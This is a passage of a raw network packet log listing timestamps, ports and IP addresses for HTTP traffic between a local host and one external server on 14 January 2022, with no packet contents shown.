Jan 14, 2022 04:59:40.734471083 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734493971 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734505892 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734519005 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734543085 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734565973 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734581947 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734590054 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734596014 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734615088 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734633923 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734638929 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734663010 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734688044 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734710932 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734724045 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734735966 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734746933 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734761000 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734783888 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734786987 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734807968 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734827995 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734829903 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734849930 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734870911 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734880924 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734893084 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734915018 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734916925 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.734937906 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734961987 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734985113 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.734997034 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735007048 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735030890 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735039949 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735054970 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735060930 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735079050 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735102892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735117912 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735127926 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735153913 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735157967 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735183001 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735198975 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735208035 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735238075 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735265970 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735285044 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735291958 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735316992 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735320091 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735349894 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735373974 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735397100 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735399008 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735423088 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735425949 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735447884 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735469103 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735491991 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735515118 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735517979 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735527039 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735538006 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735532045 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735557079 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735563040 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735589981 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735611916 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735635996 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735640049 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735660076 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735662937 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735691071 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735706091 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735714912 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735739946 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735761881 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735764027 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735786915 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735810995 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735835075 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735836983 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735858917 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735860109 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735883951 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735904932 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.735908031 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735934019 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735958099 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735980988 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.735987902 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.736005068 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.736006975 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.736052036 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.736993074 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743460894 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743489027 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743510962 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743530989 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743551016 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743572950 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743583918 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743597031 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743597031 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743618011 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743638039 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743640900 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743664026 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743685961 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743689060 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743705988 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743729115 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743733883 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743751049 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743773937 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743777037 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743794918 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743817091 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743820906 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743838072 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743856907 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743875980 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743879080 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743887901 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743899107 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743930101 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743952036 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743973017 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.743990898 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.743993044 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744019032 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744038105 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744038105 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744059086 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744071960 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744080067 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744102001 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744112968 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744122028 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744143009 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744164944 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744172096 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744187117 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744199038 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744208097 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744229078 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744234085 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744249105 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744268894 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744271994 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744292021 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744313955 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744333982 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744347095 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744354010 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744376898 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744378090 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744409084 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744430065 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744441032 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744451046 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744452000 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744472980 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744493961 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744514942 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744533062 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744539022 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744550943 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744560003 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744600058 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744615078 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744637012 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744661093 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744682074 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744690895 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744704962 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744708061 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744726896 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744749069 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744771004 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744793892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744801998 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744811058 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744813919 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744836092 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744843006 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744857073 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744879961 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744880915 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744901896 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744921923 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744937897 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.744945049 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744967937 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744987011 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.744991064 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745008945 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745032072 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745037079 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745049000 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745069981 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745081902 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745088100 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745095968 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745110035 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745132923 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745155096 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745157003 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745177031 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745197058 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745213032 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745218992 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745225906 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745238066 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745259047 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745275974 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745279074 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745295048 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745316029 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745318890 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745338917 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745362043 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745361090 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745383978 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745398998 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745405912 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745426893 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745449066 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745469093 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745472908 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745485067 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745495081 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745517015 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745522022 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745537043 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745558977 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745580912 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745601892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745608091 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745615959 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745624065 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745642900 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745651960 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745665073 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745690107 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745711088 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745714903 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745738983 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745759964 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745763063 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745779991 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745801926 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745812893 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745820045 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745830059 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745842934 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745886087 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745896101 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745908022 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745930910 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745953083 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745959044 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.745975018 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745994091 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.745994091 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746015072 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746030092 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746037006 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746058941 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746081114 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746084929 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746102095 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746104956 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746124029 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746143103 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746146917 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746164083 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746186018 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746205091 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746210098 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746227026 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746237040 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746248007 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746265888 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746277094 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746287107 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746310949 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746315002 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746331930 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746351957 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746373892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746380091 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746396065 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746401072 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746418953 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746438980 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746443987 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746459007 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746481895 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746500015 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746510029 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746524096 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746530056 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746545076 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746566057 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746572971 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746587038 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746607065 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746608973 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746627092 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746649027 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746668100 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746674061 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746690989 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746711016 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746711969 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746728897 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746732950 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746756077 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746774912 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746779919 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746793985 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746818066 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746838093 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746848106 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746857882 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746870041 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746880054 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746900082 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746901989 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746923923 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746942997 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746947050 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.746963024 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746978998 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.746995926 CET	80	49848	94.142.143.91	192.168.2.3
